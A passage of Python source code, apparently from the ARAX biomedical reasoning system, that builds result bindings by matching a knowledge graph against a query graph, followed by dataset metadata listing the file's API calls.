(showing not just the first one)\n if response.status != 'OK':\n return response\n\n # Store these final parameters for convenience\n response.data['parameters'] = input_parameters\n self.parameters = input_parameters\n\n response.debug(f\"Applying Resultifier to Message with parameters {input_parameters}\")\n\n # call _resultify\n self._resultify(describe=False)\n\n # Clean up the KG (should only contain nodes used in the results)\n self._clean_up_kg()\n\n # Return the response and done\n return response\n\n def _resultify(self, describe: bool = False):\n \"\"\"From a knowledge graph and a query graph (both in a Message object), extract a list of Results objects, each containing\n lists of NodeBinding and EdgeBinding objects. Add a list of Results objects to self.message.rseults.\n\n It is required that `self.parameters` contain the following:\n ignore_edge_direction: a parameter of type `bool` indicating whether\n the direction of an edge in the knowledge graph should be taken into\n account when matching that edge to an edge in the query graph. By\n default, this parameter is `true`. Set this parameter to false in\n order to require that an edge in a subgraph of the KG will only\n match an edge in the QG if both have the same direction (taking into\n account the source/target node mapping). Optional.\n\n \"\"\"\n assert self.response is not None\n results = self.message.results\n if results is not None and len(results) > 0:\n self.response.info(f\"Clearing previous results and computing a new set of results\")\n self.message.results = []\n results = self.message.results\n self.message.n_results = 0\n\n message = self.message\n parameters = self.parameters\n\n debug_mode = parameters.get('debug', None)\n if debug_mode is not None:\n try:\n debug_mode = _parse_boolean_case_insensitive(debug_mode)\n except Exception as e:\n self.response.error(str(e))\n return\n\n for parameter_name in parameters.keys():\n if parameter_name == '':\n continue\n if parameter_name not in ARAXResultify.ALLOWED_PARAMETERS:\n error_string = \"parameter type is not allowed in ARAXResultify: \" + str(parameter_name)\n if not debug_mode:\n self.response.error(error_string)\n return\n else:\n raise ValueError(error_string)\n\n kg = message.knowledge_graph\n qg = message.query_graph\n ignore_edge_direction = parameters.get('ignore_edge_direction', None)\n if ignore_edge_direction is not None:\n try:\n ignore_edge_direction = _parse_boolean_case_insensitive(ignore_edge_direction)\n except ValueError as e:\n error_string = \"parameter value is not allowed in ARAXResultify: \" + str(ignore_edge_direction)\n if not debug_mode:\n self.response.error(error_string)\n return\n else:\n raise e\n\n try:\n results = _get_results_for_kg_by_qg(kg,\n qg,\n ignore_edge_direction)\n message_code = 'OK'\n code_description = 'Result list computed from KG and QG'\n except Exception as e:\n if not debug_mode:\n code_description = str(e)\n message_code = e.__class__.__name__\n self.response.error(code_description)\n results = []\n else:\n raise e\n\n message.results = results\n if len(results) == 0 and message_code == 'OK':\n message_code = 'WARNING'\n code_description = 'no results returned'\n if len(kg.nodes) == 0:\n code_description += '; empty knowledge graph'\n self.response.warning(code_description)\n elif message_code == 'OK':\n self.response.info(f\"Resultify created {len(results)} results\")\n\n message.n_results = len(results)\n message.code_description = code_description\n message.message_code = message_code\n\n def _clean_up_kg(self):\n self.response.debug(f\"Cleaning up the KG to remove nodes not used in the results\")\n results = self.message.results\n kg = self.message.knowledge_graph\n node_ids_used_in_results = {node_binding.kg_id for result in results for node_binding in result.node_bindings}\n cleaned_kg = KnowledgeGraph(nodes=[node for node in kg.nodes if node.id in node_ids_used_in_results],\n edges=[edge for edge in kg.edges if {edge.source_id, edge.target_id}.issubset(node_ids_used_in_results)])\n self.message.knowledge_graph = cleaned_kg\n self.response.info(f\"After cleaning, the KG contains {len(self.message.knowledge_graph.nodes)} nodes and \"\n f\"{len(self.message.knowledge_graph.edges)} edges\")\n\n\ndef _make_edge_key(node1_id: str,\n node2_id: str) -> str:\n return node1_id + '->' + node2_id\n\n\ndef _is_specific_query_node(qnode: QNode):\n return (qnode.id is not None and ':' in qnode.id) or \\\n (qnode.curie is not None and ':' in qnode.curie)\n\n\ndef _make_adj_maps(graph: Union[QueryGraph, KnowledgeGraph],\n directed=True,\n droploops=True) -> Dict[str, Dict[str, Set[str]]]:\n if directed:\n adj_map_in: Dict[str, Set[str]] = {node.id: set() for node in graph.nodes}\n adj_map_out: Dict[str, Set[str]] = {node.id: set() for node in graph.nodes}\n else:\n adj_map: Dict[str, Set[str]] = {node.id: set() for node in graph.nodes}\n try:\n for edge in graph.edges:\n if droploops and edge.target_id == edge.source_id:\n continue\n if directed:\n edge_node_id = edge.source_id\n adj_map_out[edge_node_id].add(edge.target_id)\n edge_node_id = edge.target_id\n adj_map_in[edge_node_id].add(edge.source_id)\n else:\n edge_node_id = edge.source_id\n adj_map[edge_node_id].add(edge.target_id)\n edge_node_id = edge.target_id\n adj_map[edge_node_id].add(edge.source_id)\n except KeyError:\n raise ValueError(\"Graph has an edge \" + str(edge) + \" that refers to a node ID (\" + edge_node_id + \") that is not in the graph\")\n if directed:\n ret_dict = {'in': adj_map_in, 'out': adj_map_out}\n else:\n ret_dict = {'both': adj_map}\n return ret_dict\n\n\ndef _bfs_dists(adj_map: Dict[str, Set[str]],\n start_node_id: str) -> Dict[str, Union[int, float]]:\n queue = collections.deque([start_node_id])\n distances = {node_id: math.inf for node_id in adj_map.keys()}\n distances[start_node_id] = 0\n while len(queue) > 0:\n node_id = queue.popleft()\n node_dist = distances[node_id]\n assert not math.isinf(node_dist)\n for neighb_node_id in cast(Iterable[str], adj_map[node_id]):\n if math.isinf(distances[neighb_node_id]):\n distances[neighb_node_id] = node_dist + 1\n queue.append(neighb_node_id)\n return distances\n\n\ndef _get_essence_node_for_qg(qg: QueryGraph) -> Optional[str]:\n adj_map = _make_adj_maps(qg, directed=False)['both']\n node_ids_list = list(adj_map.keys())\n all_nodes = set(node_ids_list)\n node_degrees = list(map(len, adj_map.values()))\n leaf_nodes = set(node_ids_list[i] for i, k in enumerate(node_degrees) if k == 1)\n is_set_nodes = set(node.id for node in cast(Iterable[QNode], qg.nodes) if node.is_set)\n specific_nodes = set(node.id for node in cast(Iterable[QNode], qg.nodes) if _is_specific_query_node(node))\n non_specific_nodes = all_nodes - specific_nodes\n non_specific_leaf_nodes = leaf_nodes & non_specific_nodes\n\n if len(is_set_nodes & specific_nodes) > 0:\n raise ValueError(\"the following query nodes have specific CURIE IDs but have is_set=true: \" + str(is_set_nodes & specific_nodes))\n candidate_essence_nodes = non_specific_leaf_nodes - is_set_nodes\n if len(candidate_essence_nodes) == 0:\n candidate_essence_nodes = non_specific_nodes - is_set_nodes\n if len(candidate_essence_nodes) == 0:\n return None\n elif len(candidate_essence_nodes) == 1:\n return next(iter(candidate_essence_nodes))\n else:\n specific_leaf_nodes = specific_nodes & leaf_nodes\n if len(specific_leaf_nodes) == 0:\n map_node_id_to_pos: Dict[str, Union[int, float]] = {node.id: i for i, node in enumerate(cast(Iterable[QNode], qg.nodes))}\n if len(specific_nodes) == 0:\n # return the node.id of the non-specific node with the rightmost position in the QG node list\n return sorted(candidate_essence_nodes,\n key=lambda node_id: map_node_id_to_pos[node_id],\n reverse=True)[0]\n else:\n if len(specific_nodes) == 1:\n specific_node_id = next(iter(specific_nodes))\n return sorted(candidate_essence_nodes,\n key=lambda node_id: abs(map_node_id_to_pos[node_id] -\n map_node_id_to_pos[specific_node_id]),\n reverse=True)[0]\n else:\n # there are at least two non-specific leaf nodes and at least two specific nodes\n return sorted(candidate_essence_nodes,\n key=lambda node_id: min([abs(map_node_id_to_pos[node_id] -\n map_node_id_to_pos[specific_node_id]) for\n specific_node_id in specific_nodes]),\n reverse=True)[0]\n else:\n if len(specific_leaf_nodes) == 1:\n specific_leaf_node_id = next(iter(specific_leaf_nodes))\n map_node_id_to_pos = _bfs_dists(adj_map, specific_leaf_node_id)\n else:\n all_dist_maps_for_spec_leaf_nodes = {node_id: _bfs_dists(adj_map,\n node_id) for\n node_id in specific_leaf_nodes}\n map_node_id_to_pos = {node.id: min([dist_map[node.id] for dist_map in all_dist_maps_for_spec_leaf_nodes.values()]) for\n node in cast(Iterable[QNode], qg.nodes)}\n return sorted(candidate_essence_nodes,\n key=lambda node_id: map_node_id_to_pos[node_id],\n reverse=True)[0]\n assert False\n\n\ndef _parse_boolean_case_insensitive(input_string: str) -> bool:\n if input_string is None:\n raise ValueError(\"invalid value for input_string\")\n input_string = input_string.lower()\n if input_string == 'true':\n return True\n elif input_string == 'false':\n return False\n else:\n raise ValueError(\"invalid value for input_string\")\n\n\ndef _get_results_for_kg_by_qg(kg: KnowledgeGraph, # all nodes *must* have qnode_id specified\n qg: QueryGraph,\n ignore_edge_direction: bool = True) -> List[Result]:\n\n if ignore_edge_direction is None:\n return _get_results_for_kg_by_qg(kg, qg)\n\n if len([node.id for node in cast(Iterable[QNode], qg.nodes) if node.id is None]) > 0:\n raise ValueError(\"node has None for node.id in query graph\")\n\n if len([node.id for node in cast(Iterable[Node], kg.nodes) if node.id is None]) > 0:\n raise ValueError(\"node has None for node.id in knowledge graph\")\n\n kg_node_ids_without_qnode_id = [node.id for node in cast(Iterable[Node], kg.nodes) if not node.qnode_ids]\n if len(kg_node_ids_without_qnode_id) > 0:\n raise ValueError(\"these node IDs do not have qnode_ids set: \" + str(kg_node_ids_without_qnode_id))\n\n kg_edge_ids_without_qedge_id = [edge.id for edge in cast(Iterable[Edge], kg.edges) if not edge.qedge_ids]\n if len(kg_edge_ids_without_qedge_id) > 0:\n raise ValueError(\"these edges do not have qedge_ids set: \" + str(kg_edge_ids_without_qedge_id))\n\n kg_edge_ids_by_qg_id = _get_kg_edge_ids_by_qg_id(kg)\n kg_node_ids_by_qg_id = _get_kg_node_ids_by_qg_id(kg)\n\n # build up maps of node IDs to nodes, for both the KG and QG\n kg_nodes_map = {node.id: node for node in cast(Iterable[Node], kg.nodes)}\n qg_nodes_map = {node.id: node for node in cast(Iterable[QNode], qg.nodes)}\n\n # build up maps of edge IDs to edges, for both the KG and QG\n kg_edges_map = {edge.id: edge for edge in cast(Iterable[Edge], kg.edges)}\n qg_edges_map = {edge.id: edge for edge in cast(Iterable[QEdge], qg.edges)}\n\n # --------------------- checking for validity of the NodeBindings list --------------\n # we require that every query graph node ID in the \"values\" slot of the node_bindings_map corresponds to an actual node in the QG\n qnode_ids_mapped_that_are_not_in_qg = [qnode_id for qnode_id in kg_node_ids_by_qg_id if qnode_id not in qg_nodes_map]\n if len(qnode_ids_mapped_that_are_not_in_qg) > 0:\n raise ValueError(\"A node in the KG has a qnode_id that does not exist in the QueryGraph: \" + str(qnode_ids_mapped_that_are_not_in_qg))\n\n # --------------------- checking for validity of the EdgeBindings list --------------\n # we require that every query graph edge ID in the \"values\" slot of the edge_bindings_map corresponds to an actual edge in the QG\n qedge_ids_mapped_that_are_not_in_qg = [qedge_id for qedge_id in kg_edge_ids_by_qg_id if qedge_id not in qg_edges_map]\n if len(qedge_ids_mapped_that_are_not_in_qg) > 0:\n raise ValueError(\"An edge in the KG has a qedge_id that does not exist in the QueryGraph: \" + str(qedge_ids_mapped_that_are_not_in_qg))\n\n # --------------------- checking that the source ID and target ID of every edge in KG is a valid KG node ---------------------\n node_ids_for_edges_that_are_not_valid_nodes = [edge.source_id for edge in cast(Iterable[Edge], kg.edges) if not\n kg_nodes_map.get(edge.source_id)] + \\\n [edge.target_id for edge in cast(Iterable[Edge], kg.edges) if not\n kg_nodes_map.get(edge.target_id)]\n if len(node_ids_for_edges_that_are_not_valid_nodes) > 0:\n raise ValueError(\"KG has Edges that refer to the following non-existent Nodes: \" + str(node_ids_for_edges_that_are_not_valid_nodes))\n\n # --------------------- checking that the source ID and target ID of every edge in QG is a valid QG node ---------------------\n invalid_qnode_ids_used_by_qedges = [edge.source_id for edge in cast(Iterable[QEdge], qg.edges) if not\n qg_nodes_map.get(edge.source_id)] + \\\n [edge.target_id for edge in cast(Iterable[QEdge], qg.edges) if not\n qg_nodes_map.get(edge.target_id)]\n if len(invalid_qnode_ids_used_by_qedges) > 0:\n raise ValueError(\"QG has QEdges that refer to the following non-existent QNodes: \" + str(invalid_qnode_ids_used_by_qedges))\n\n # --------------------- checking for consistency of edge-to-node relationships, for all edge bindings -----------\n # check that for each bound KG edge, the QG mappings of the KG edges source and target nodes are also the\n # source and target nodes of the QG edge that corresponds to the bound KG edge\n for qedge_id, kg_edge_ids_for_this_qedge_id in kg_edge_ids_by_qg_id.items():\n qg_edge = next(qedge for qedge in qg.edges if qedge.id == qedge_id)\n qg_source_node_id = qg_edge.source_id\n qg_target_node_id = qg_edge.target_id\n for edge_id in kg_edge_ids_for_this_qedge_id:\n kg_edge = kg_edges_map.get(edge_id)\n kg_source_node_id = kg_edge.source_id\n kg_target_node_id = kg_edge.target_id\n if qg_source_node_id != qg_target_node_id:\n edge_valid_in_same_direction = (kg_source_node_id in kg_node_ids_by_qg_id[qg_source_node_id] and\n kg_target_node_id in kg_node_ids_by_qg_id[qg_target_node_id])\n edge_valid_in_opposite_direction = (kg_source_node_id in kg_node_ids_by_qg_id[qg_target_node_id] and\n kg_target_node_id in kg_node_ids_by_qg_id[qg_source_node_id])\n edge_is_valid = (edge_valid_in_same_direction or edge_valid_in_opposite_direction) if ignore_edge_direction else edge_valid_in_same_direction\n if not edge_is_valid:\n kg_source_node = kg_nodes_map.get(kg_source_node_id)\n kg_target_node = kg_nodes_map.get(kg_target_node_id)\n raise ValueError(f\"Edge {kg_edge.id} (fulfilling {qg_edge.id}) has node(s) that do not fulfill the \"\n f\"expected qnodes ({qg_source_node_id} and {qg_target_node_id}). Edge's nodes are \"\n f\"{kg_source_node_id} (qnode_ids: {kg_source_node.qnode_ids}) and \"\n f\"{kg_target_node_id} (qnode_ids: {kg_target_node.qnode_ids}).\")\n\n # ============= save until SAR can discuss with {EWD,DMK} whether there can be unmapped nodes in the KG =============\n # # if any node in the KG is not bound to a node in the QG, drop the KG node; redefine \"kg\" as the filtered KG\n # kg_node_ids_keep = {node.id for node in kg.nodes if node.id in node_bindings_map}\n # kg_nodes_keep_list = [node for node in kg.nodes if node.id in kg_node_ids_keep]\n # kg_edges_keep_list = [edge for edge in kg.edges if not (edge.source_id in kg_node_ids_keep and\n # edge.target_id in kg_node_ids_keep)]\n # kg = KnowledgeGraph(nodes=kg_nodes_keep_list,\n # edges=kg_edges_keep_list)\n # ============= save until SAR can discuss with {EWD,DMK} whether there can be unmapped nodes in the KG =============\n\n # Our goal is to enumerate all distinct \"edge-maximal\" subgraphs of the KG that each \"covers\"\n # the QG. A subgraph of KG that \"covers\" the QG is one for which all of the following conditions hold:\n # (1) under the KG-to-QG node bindings map, the range of the KG subgraph's nodes is the entire set of nodes in the QG\n # (2) for any QG node that has \"is_set=True\", *all* KG nodes that are bound to the same QG node are in the subgraph\n # (3) every edge in the QG is \"covered\" by at least one edge in the KG\n\n results: List[Result] = []\n\n # Return empty result list if the QG isn't fulfilled\n unfulfilled_qnode_ids = [qnode.id for qnode in qg.nodes if not kg_node_ids_by_qg_id.get(qnode.id)]\n unfulfilled_qedge_ids = [qedge.id for qedge in qg.edges if not kg_edge_ids_by_qg_id.get(qedge.id)]\n if unfulfilled_qnode_ids or unfulfilled_qedge_ids or not kg.nodes:\n return results\n\n results = _create_results(kg, qg, ignore_edge_direction)\n\n return results\n\n\ndef _get_connected_qnode(qnode_id: str, qnode_ids_to_choose_from: [str], query_graph: QueryGraph) -> Optional[str]:\n for qedge in query_graph.edges:\n if qedge.source_id == qnode_id and qedge.target_id in qnode_ids_to_choose_from:\n return qedge.target_id\n elif qedge.target_id == qnode_id and qedge.source_id in qnode_ids_to_choose_from:\n return qedge.source_id\n return None\n\n\ndef _get_query_node(qnode_id: str, query_graph: QueryGraph) -> QNode:\n for qnode in query_graph.nodes:\n if qnode.id == qnode_id:\n return qnode\n return None\n\n\ndef _get_query_edge(qedge_id: str, query_graph: QueryGraph) -> QEdge:\n for qedge in query_graph.edges:\n if qedge.id == qedge_id:\n return qedge\n return None\n\n\ndef _get_qnodes_in_order(query_graph: QueryGraph) -> List[QNode]:\n if len(query_graph.edges) == 0:\n return [query_graph.nodes[0]]\n elif len(query_graph.edges) == 1:\n qedge = query_graph.edges[0]\n return [_get_query_node(qedge.source_id, query_graph), _get_query_node(qedge.target_id, query_graph)]\n else:\n qnode_ids_remaining = [qnode.id for qnode in query_graph.nodes]\n ordered_qnode_ids = []\n while qnode_ids_remaining:\n if not ordered_qnode_ids:\n starting_qnode_id = qnode_ids_remaining.pop()\n ordered_qnode_ids = [starting_qnode_id]\n else:\n new_right_most_qnode_id = _get_connected_qnode(ordered_qnode_ids[-1], qnode_ids_remaining, query_graph)\n new_left_most_qnode_id = _get_connected_qnode(ordered_qnode_ids[0], qnode_ids_remaining, query_graph)\n if new_right_most_qnode_id:\n ordered_qnode_ids.append(new_right_most_qnode_id)\n qnode_ids_remaining.pop(qnode_ids_remaining.index(new_right_most_qnode_id))\n elif new_left_most_qnode_id:\n ordered_qnode_ids.insert(0, new_left_most_qnode_id)\n qnode_ids_remaining.pop(qnode_ids_remaining.index(new_left_most_qnode_id))\n else:\n disconnected_qnode_id = qnode_ids_remaining[0]\n ordered_qnode_ids.append(disconnected_qnode_id)\n qnode_ids_remaining.pop(qnode_ids_remaining.index(disconnected_qnode_id))\n return [_get_query_node(qnode_id, query_graph) for qnode_id in ordered_qnode_ids]\n\n\ndef _get_kg_node_ids_by_qg_id(knowledge_graph: KnowledgeGraph) -> Dict[str, Set[str]]:\n node_ids_by_qg_id = dict()\n for node in knowledge_graph.nodes:\n if node.qnode_ids:\n for qnode_id in node.qnode_ids:\n if qnode_id not in node_ids_by_qg_id:\n node_ids_by_qg_id[qnode_id] = set()\n node_ids_by_qg_id[qnode_id].add(node.id)\n return node_ids_by_qg_id\n\n\ndef _get_kg_edge_ids_by_qg_id(knowledge_graph: KnowledgeGraph) -> Dict[str, Set[str]]:\n edge_ids_by_qg_id = dict()\n for edge in knowledge_graph.edges:\n if edge.qedge_ids:\n for qedge_id in edge.qedge_ids:\n if qedge_id not in edge_ids_by_qg_id:\n edge_ids_by_qg_id[qedge_id] = set()\n edge_ids_by_qg_id[qedge_id].add(edge.id)\n return edge_ids_by_qg_id\n\n\ndef _get_connected_qnode_ids(qnode_id: str, query_graph: QueryGraph) -> Set[str]:\n qnode_ids_used_on_same_qedges = set()\n for qedge in query_graph.edges:\n qnode_ids_used_on_same_qedges.add(qedge.source_id)\n qnode_ids_used_on_same_qedges.add(qedge.target_id)\n return qnode_ids_used_on_same_qedges.difference({qnode_id})\n\n\ndef _create_new_empty_result_graph(query_graph: QueryGraph) -> Dict[str, Dict[str, Set[str]]]:\n empty_result_graph = {'nodes': {qnode.id: set() for qnode in query_graph.nodes},\n 'edges': {qedge.id: set() for qedge in query_graph.edges}}\n return empty_result_graph\n\n\ndef _copy_result_graph(result_graph: Dict[str, Dict[str, Set[str]]]) -> Dict[str, Dict[str, Set[str]]]:\n result_graph_copy = {'nodes': {qnode_id: node_ids for qnode_id, node_ids in result_graph['nodes'].items()},\n 'edges': {qedge_id: edge_ids for qedge_id, edge_ids in result_graph['edges'].items()}}\n return result_graph_copy\n\n\ndef _get_edge_node_pair_key(edge: Edge) -> str:\n return \"--\".join(sorted([edge.source_id, edge.target_id]))\n\n\ndef _get_parallel_qedge_ids(input_qedge: QEdge, query_graph: QueryGraph) -> Set[str]:\n input_qedge_node_ids = {input_qedge.source_id, input_qedge.target_id}\n parallel_qedge_ids = {qedge.id for qedge in query_graph.edges if {qedge.source_id, qedge.target_id} == input_qedge_node_ids}\n return parallel_qedge_ids\n\n\ndef _get_kg_node_adj_map_by_qg_id(kg_node_ids_by_qg_id: Dict[str, Set[str]], knowledge_graph: KnowledgeGraph, query_graph: QueryGraph) -> Dict[str, Dict[str, Dict[str, Set[str]]]]:\n # Returned dict looks like {'n00': {'CUI:11234': {'n01': {UniProtKB:122}}}}\n # First initiate the overall structure of our (QG-organized) adjacency map\n kg_node_to_node_map = {qnode_id: dict() for qnode_id in kg_node_ids_by_qg_id}\n for qnode_id, node_ids_set in kg_node_ids_by_qg_id.items():\n connected_qnode_ids = _get_connected_qnode_ids(qnode_id, query_graph)\n for node_id in node_ids_set:\n kg_node_to_node_map[qnode_id][node_id] = {connected_qnode_id: set() for connected_qnode_id in connected_qnode_ids}\n\n # Create a record of which qedge IDs are fulfilled between which node pairs\n node_pair_to_qedge_id_map = dict()\n for edge in knowledge_graph.edges:\n node_pair_key = _get_edge_node_pair_key(edge)\n if node_pair_key not in node_pair_to_qedge_id_map:\n node_pair_to_qedge_id_map[node_pair_key] = set()\n node_pair_to_qedge_id_map[node_pair_key] = node_pair_to_qedge_id_map[node_pair_key].union(set(edge.qedge_ids))\n\n # Fill out which KG nodes are connected to which\n for edge in knowledge_graph.edges:\n for qedge_id in edge.qedge_ids:\n qedge = _get_query_edge(qedge_id, query_graph)\n # Make sure ALL qedges between these two nodes have been fulfilled before marking them as 'connected'\n parallel_qedge_ids = _get_parallel_qedge_ids(qedge, query_graph)\n if parallel_qedge_ids.issubset(node_pair_to_qedge_id_map[_get_edge_node_pair_key(edge)]):\n qnode_id_1 = qedge.source_id\n qnode_id_2 = qedge.target_id\n if edge.source_id in kg_node_ids_by_qg_id[qnode_id_1] and edge.target_id in kg_node_ids_by_qg_id[qnode_id_2]:\n kg_node_to_node_map[qnode_id_1][edge.source_id][qnode_id_2].add(edge.target_id)\n kg_node_to_node_map[qnode_id_2][edge.target_id][qnode_id_1].add(edge.source_id)\n if edge.source_id in kg_node_ids_by_qg_id[qnode_id_2] and edge.target_id in kg_node_ids_by_qg_id[qnode_id_1]:\n kg_node_to_node_map[qnode_id_2][edge.source_id][qnode_id_1].add(edge.target_id)\n kg_node_to_node_map[qnode_id_1][edge.target_id][qnode_id_2].add(edge.source_id)\n return kg_node_to_node_map\n\n\ndef _result_graph_is_fulfilled(result_graph: Dict[str, Dict[str, Set[str]]], query_graph: QueryGraph) -> bool:\n for qnode in query_graph.nodes:\n if not result_graph['nodes'].get(qnode.id):\n return False\n for qedge in query_graph.edges:\n if not result_graph['edges'].get(qedge.id):\n return False\n return True\n\n\ndef _create_results(kg: KnowledgeGraph,\n qg: QueryGraph,\n ignore_edge_direction: bool = True) -> List[Result]:\n result_graphs = []\n kg_node_ids_by_qg_id = _get_kg_node_ids_by_qg_id(kg)\n kg_node_adj_map_by_qg_id = _get_kg_node_adj_map_by_qg_id(kg_node_ids_by_qg_id, kg, qg)\n kg_node_lookup = {node.id: node for node in kg.nodes}\n qnodes_in_order = _get_qnodes_in_order(qg)\n\n # First create result graphs with only the nodes filled out\n for qnode in qnodes_in_order:\n prior_qnode = qnodes_in_order[qnodes_in_order.index(qnode) - 1] if qnodes_in_order.index(qnode) > 0 else None\n if not result_graphs:\n all_node_ids_in_kg_for_this_qnode_id = kg_node_ids_by_qg_id.get(qnode.id)\n if qnode.is_set:\n new_result_graph = _create_new_empty_result_graph(qg)\n new_result_graph['nodes'][qnode.id] = all_node_ids_in_kg_for_this_qnode_id\n result_graphs.append(new_result_graph)\n else:\n for node_id in all_node_ids_in_kg_for_this_qnode_id:\n new_result_graph = _create_new_empty_result_graph(qg)\n new_result_graph['nodes'][qnode.id] = {node_id}\n result_graphs.append(new_result_graph)\n else:\n new_result_graphs = []\n for result_graph in result_graphs:\n node_ids_for_prior_qnode_id = result_graph['nodes'][prior_qnode.id]\n connected_node_ids = set()\n for node_id in node_ids_for_prior_qnode_id:\n connected_node_ids = connected_node_ids.union(kg_node_adj_map_by_qg_id[prior_qnode.id][node_id][qnode.id])\n if qnode.is_set:\n new_result_graph = _copy_result_graph(result_graph)\n new_result_graph['nodes'][qnode.id] = connected_node_ids\n new_result_graphs.append(new_result_graph)\n else:\n for node_id in connected_node_ids:\n new_result_graph = _copy_result_graph(result_graph)\n new_result_graph['nodes'][qnode.id] = {node_id}\n new_result_graphs.append(new_result_graph)\n result_graphs = new_result_graphs\n\n # Then add edges to our result graphs as appropriate\n edges_by_node_pairs = {qedge.id: dict() for qedge in qg.edges}\n for edge in kg.edges:\n if edge.qedge_ids:\n for qedge_id in edge.qedge_ids:\n edge_node_pair = f\"{edge.source_id}--{edge.target_id}\"\n if edge_node_pair not in edges_by_node_pairs[qedge_id]:\n edges_by_node_pairs[qedge_id][edge_node_pair] = set()\n edges_by_node_pairs[qedge_id][edge_node_pair].add(edge.id)\n if ignore_edge_direction:\n node_pair_in_other_direction = f\"{edge.target_id}--{edge.source_id}\"\n if node_pair_in_other_direction not in edges_by_node_pairs[qedge_id]:\n edges_by_node_pairs[qedge_id][node_pair_in_other_direction] = set()\n edges_by_node_pairs[qedge_id][node_pair_in_other_direction].add(edge.id)\n for result_graph in result_graphs:\n for qedge_id in result_graph['edges']:\n qedge = _get_query_edge(qedge_id, qg)\n potential_nodes_1 = result_graph['nodes'][qedge.source_id]\n potential_nodes_2 = result_graph['nodes'][qedge.target_id]\n possible_node_pairs = set()\n for node_1 in potential_nodes_1:\n for node_2 in potential_nodes_2:\n node_pair_key = f\"{node_1}--{node_2}\"\n possible_node_pairs.add(node_pair_key)\n for node_pair in possible_node_pairs:\n ids_of_matching_edges = edges_by_node_pairs[qedge_id].get(node_pair, set())\n result_graph['edges'][qedge_id] = result_graph['edges'][qedge_id].union(ids_of_matching_edges)\n\n final_result_graphs = [result_graph for result_graph in result_graphs if _result_graph_is_fulfilled(result_graph, qg)]\n\n # Convert these into actual object model results\n results = []\n for result_graph in final_result_graphs:\n node_bindings = []\n for qnode_id, node_ids in result_graph['nodes'].items():\n for node_id in node_ids:\n node_bindings.append(NodeBinding(qg_id=qnode_id, kg_id=node_id))\n edge_bindings = []\n for qedge_id, edge_ids in result_graph['edges'].items():\n for edge_id in edge_ids:\n edge_bindings.append(EdgeBinding(qg_id=qedge_id, kg_id=edge_id))\n result = Result(node_bindings=node_bindings, edge_bindings=edge_bindings)\n\n # Fill out the essence for the result\n essence_qnode_id = _get_essence_node_for_qg(qg)\n essence_qnode = _get_query_node(essence_qnode_id, qg)\n essence_kg_node_id_set = result_graph['nodes'].get(essence_qnode_id, set())\n if len(essence_kg_node_id_set) == 1:\n essence_kg_node_id = next(iter(essence_kg_node_id_set))\n essence_kg_node = kg_node_lookup[essence_kg_node_id]\n result.essence = essence_kg_node.name\n if result.essence is None:\n result.essence = essence_kg_node_id\n assert result.essence is not None\n if essence_kg_node.symbol is not None:\n result.essence += \" (\" + str(essence_kg_node.symbol) + \")\"\n result.essence_type = str(essence_qnode.type) if essence_qnode else None\n elif len(essence_kg_node_id_set) == 0:\n result.essence = cast(str, None)\n result.essence_type = cast(str, None)\n else:\n raise ValueError(f\"Result contains more than one node that is a candidate for the essence: {essence_kg_node_id_set}\")\n\n # Programmatically generating an informative description for each result\n # seems difficult, but having something non-None is required by the\n # database. Just put in a placeholder for now, as is done by the\n # QueryGraphReasoner\n result.description = \"No description available\" # see issue 642\n\n results.append(result)\n\n return results\n\n\n\n\n", "sub_path": "code/ARAX/ARAXQuery/ARAX_resultify.py", "file_name": "ARAX_resultify.py", "file_ext": "py", "file_size_in_byte": 38363, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "sys.path.append", "line_number": 37, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 37, "usage_type": "attribute"}, {"api_name": "os.path.normpath", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path", "line_number": 37, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 37, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 37, "usage_type": "call"}, {"api_name": "swagger_server.models.biolink_entity.BiolinkEntity", "line_number": 52, "usage_type": "name"}, {"api_name": "swagger_server.models.message.Message", "line_number": 104, "usage_type": "name"}, {"api_name": "response.Response", "line_number": 107, "usage_type": "call"}, {"api_name": "response.error", "line_number": 113, "usage_type": "call"}, {"api_name": "response.status", "line_number": 117, "usage_type": "attribute"}, {"api_name": "response.data", "line_number": 121, "usage_type": "attribute"}, {"api_name": "response.debug", "line_number": 124, "usage_type": "call"}, {"api_name": "response.Response", "line_number": 104, "usage_type": "name"}, {"api_name": "swagger_server.models.knowledge_graph.KnowledgeGraph", "line_number": 227, "usage_type": "call"}, {"api_name": "swagger_server.models.q_node.QNode", "line_number": 239, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 244, "usage_type": "name"}, {"api_name": "swagger_server.models.query_graph.QueryGraph", "line_number": 244, "usage_type": "name"}, {"api_name": "swagger_server.models.knowledge_graph.KnowledgeGraph", "line_number": 244, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 248, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 248, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 249, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 249, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 251, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 251, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 246, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 246, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 275, "usage_type": "name"}, {"api_name": "typing.Set", "line_number": 275, "usage_type": "name"}, {"api_name": "collections.deque", "line_number": 277, "usage_type": "call"}, {"api_name": "math.inf", "line_number": 278, "usage_type": "attribute"}, {"api_name": "math.isinf", "line_number": 283, "usage_type": "call"}, {"api_name": "typing.cast", "line_number": 284, "usage_type": "call"}, {"api_name": "typing.Iterable", "line_number": 284, "usage_type": "name"}, {"api_name": "math.isinf", "line_number": 285, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 276, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 276, "usage_type": "name"}, {"api_name": "swagger_server.models.query_graph.QueryGraph", "line_number": 291, "usage_type": "name"}, {"api_name": "typing.cast", "line_number": 297, "usage_type": "call"}, {"api_name": "typing.Iterable", "line_number": 297, "usage_type": "name"}, {"api_name": "swagger_server.models.q_node.QNode", "line_number": 297, "usage_type": "name"}, {"api_name": "typing.cast", "line_number": 298, "usage_type": "call"}, {"api_name": "typing.Iterable", "line_number": 298, "usage_type": "name"}, {"api_name": "swagger_server.models.q_node.QNode", "line_number": 298, "usage_type": "name"}, 